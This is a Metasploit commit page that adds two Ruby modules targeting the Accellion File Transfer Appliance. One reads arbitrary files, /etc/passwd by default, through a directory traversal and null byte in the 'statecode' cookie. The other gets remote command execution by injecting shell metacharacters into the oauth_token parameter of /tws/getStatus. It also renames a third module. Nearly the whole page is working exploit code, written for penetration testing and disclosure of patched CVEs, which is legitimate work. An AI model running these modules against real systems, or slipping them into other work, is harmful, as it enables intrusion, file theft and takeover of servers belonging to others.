Skip to content

Commit 9206df0

Browse files
author
Tod Beardsley
committed
Land rapid7#5694, R7-2015-08
2 parents a74526a + 728b338 commit 9206df0

File tree

3 files changed

+217
-1
lines changed

3 files changed

+217
-1
lines changed

‎modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb

Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Auxiliary::Scanner
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => "Accellion FTA 'statecode' Cookie Arbitrary File Read",
16+
'Description' => %q{
17+
This module exploits a file disclosure vulnerability in the Accellion
18+
File Transfer appliance. This vulnerability is triggered when a user-provided
19+
'statecode' cookie parameter is appended to a file path that is processed as
20+
a HTML template. By prepending this cookie with directory traversal sequence
21+
and appending a NULL byte, any file readable by the web user can be exposed.
22+
The web user has read access to a number of sensitive files, including the
23+
system configuration and files uploaded to the appliance by users.
24+
This issue was confirmed on version FTA_9_11_200, but may apply to previous
25+
versions as well. This issue was fixed in software update FTA_9_11_210.
26+
},
27+
'Author' => [ 'hdm' ],
28+
'License' => MSF_LICENSE,
29+
'References' =>
30+
[
31+
['URL', 'http://r-7.co/R7-2015-08'],
32+
['CVE', '2015-2856']
33+
],
34+
'DisclosureDate' => 'Jul 10 2015'
35+
))
36+
37+
register_options(
38+
[
39+
Opt::RPORT(443),
40+
OptBool.new('SSL', [true, 'Use SSL', true]),
41+
OptString.new('TARGETURI', [true, 'The URI to request that triggers a call to template()', '/courier/intermediate_login.html']),
42+
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
43+
], self.class)
44+
end
45+
46+
def run_host(ip)
47+
res = send_request_cgi({
48+
'method' => 'GET',
49+
'uri' => datastore['TARGETURI'],
50+
'cookie' => 'statecode=../../../../..' + datastore['FILEPATH'] + '%00',
51+
})
52+
53+
return if not res
54+
55+
if res.code != 200
56+
vprint_status("#{peer} Unexpected response code: #{res.code} #{res.message}")
57+
return
58+
end
59+
60+
contents = res.body.to_s
61+
62+
# Check for patched versions of the FTA
63+
if contents =~ / Missing session ID.*Accellion, Inc/m
64+
print_error("#{peer} Appears to be a patched Accellion FTA")
65+
return
66+
end
67+
68+
fname = ::File.basename(datastore['FILEPATH'])
69+
70+
expected_server = "Apache"
71+
expected_expires = 'Mon, 26 Jul 1997 05:00:00 GMT'
72+
73+
# Use hints from the server headers to indicate whether we think this was a valid response
74+
if res.headers['Server'].to_s == expected_server && res.headers['Expires'].to_s == expected_expires
75+
path = store_loot(
76+
'accellion.fta.file',
77+
'application/octet-stream',
78+
rhost,
79+
res.body,
80+
fname
81+
)
82+
print_good("#{peer} Sucessfully downloaded #{datastore['FILEPATH']} as #{path}")
83+
else
84+
vprint_status(
85+
"#{peer} Unexpected response headers: (Server=#{res.headers['Server'].inspect} Expected=#{expected_server.inspect}) " +
86+
"(Expires=#{res.headers['Expires'].inspect} Expected=#{expected_expires.inspect})"
87+
)
88+
end
89+
end
90+
91+
end

‎modules/exploits/linux/http/accellion_fta_getstatus_oauth.rb

Lines changed: 125 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,125 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Accellion FTA getStatus verify_oauth_token Command Execution',
16+
'Description' => %q{
17+
This module exploits a metacharacter shell injection vulnerability in the Accellion
18+
File Transfer appliance. This vulnerability is triggered when a user-provided
19+
'oauth_token' is passed into a system() call within a mod_perl handler. This
20+
module exploits the '/tws/getStatus' endpoint. Other vulnerable handlers include
21+
'/seos/find.api', '/seos/put.api', and /seos/mput.api'. This issue was confirmed on
22+
version FTA_9_11_200, but may apply to previous versions as well. This issue was
23+
fixed in software update FTA_9_11_210.
24+
},
25+
'Author' => [ 'hdm' ],
26+
'License' => MSF_LICENSE,
27+
'References' =>
28+
[
29+
['URL', 'http://r-7.co/R7-2015-08'],
30+
['CVE', '2015-2857']
31+
],
32+
'Platform' => ['unix'],
33+
'Arch' => ARCH_CMD,
34+
'Privileged' => false,
35+
'Payload' =>
36+
{
37+
'Space' => 1024,
38+
'DisableNops' => true,
39+
'Compat' =>
40+
{
41+
'PayloadType' => 'cmd',
42+
'RequiredCmd' => 'generic perl bash telnet',
43+
}
44+
},
45+
'Targets' =>
46+
[
47+
[ 'Automatic', { } ]
48+
],
49+
'DefaultTarget' => 0,
50+
'DisclosureDate' => 'Jul 10 2015'
51+
))
52+
53+
register_options(
54+
[
55+
Opt::RPORT(443),
56+
OptBool.new('SSL', [true, 'Use SSL', true])
57+
], self.class)
58+
end
59+
60+
def check
61+
uri = '/tws/getStatus'
62+
63+
res = send_request_cgi({
64+
'method' => 'POST',
65+
'uri' => uri,
66+
'vars_post' => {
67+
'transaction_id' => rand(0x100000000),
68+
'oauth_token' => 'invalid'
69+
}})
70+
71+
unless res && res.code == 200 && res.body.to_s =~ /"result_msg":"MD5 token is invalid"/
72+
return Exploit::CheckCode::Safe
73+
end
74+
75+
res = send_request_cgi({
76+
'method' => 'POST',
77+
'uri' => uri,
78+
'vars_post' => {
79+
'transaction_id' => rand(0x100000000),
80+
'oauth_token' => "';echo '"
81+
}})
82+
83+
unless res && res.code == 200 && res.body.to_s =~ /"result_msg":"Success","transaction_id":"/
84+
return Exploit::CheckCode::Safe
85+
end
86+
87+
Msf::Exploit::CheckCode::Vulnerable
88+
end
89+
90+
def exploit
91+
92+
# The token is embedded into a command line the following:
93+
# `/opt/bin/perl /home/seos/system/call_webservice.pl $aid oauth_ws.php verify_access_token '$token' '$scope'`;
94+
token = "';#{payload.encoded};echo '"
95+
96+
uri = '/tws/getStatus'
97+
98+
# Other exploitable URLs:
99+
# * /seos/find.api (works with no other changes to this module)
100+
# * /seos/put.api (requires some hoop jumping, upload)
101+
# * /seos/mput.api (requires some hoop jumping, token && upload)
102+
103+
print_status("Sending request for #{uri}...")
104+
res = send_request_cgi({
105+
'method' => 'POST',
106+
'uri' => uri,
107+
'vars_post' => {
108+
'transaction_id' => rand(0x100000000),
109+
'oauth_token' => token
110+
}})
111+
112+
if res && res.code == 200 && res.body.to_s =~ /"result_msg":"Success","transaction_id":"/
113+
print_status("Valid response received...")
114+
else
115+
if res
116+
print_error("Unexpected reply from the target: #{res.code} #{res.message} #{res.body}")
117+
else
118+
print_error("No reply received from the target")
119+
end
120+
end
121+
122+
handler
123+
end
124+
125+
end

‎modules/exploits/linux/misc/accellion_fta_mpipe2.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote
1616

1717
def initialize(info = {})
1818
super(update_info(info,
19-
'Name' => 'Accellion File Transfer Appliance MPIPE2 Command Execution',
19+
'Name' => 'Accellion FTA MPIPE2 Command Execution',
2020
'Description' => %q{
2121
This module exploits a chain of vulnerabilities in the Accellion
2222
File Transfer appliance. This appliance exposes a UDP service on

0 commit comments

Comments
 (0)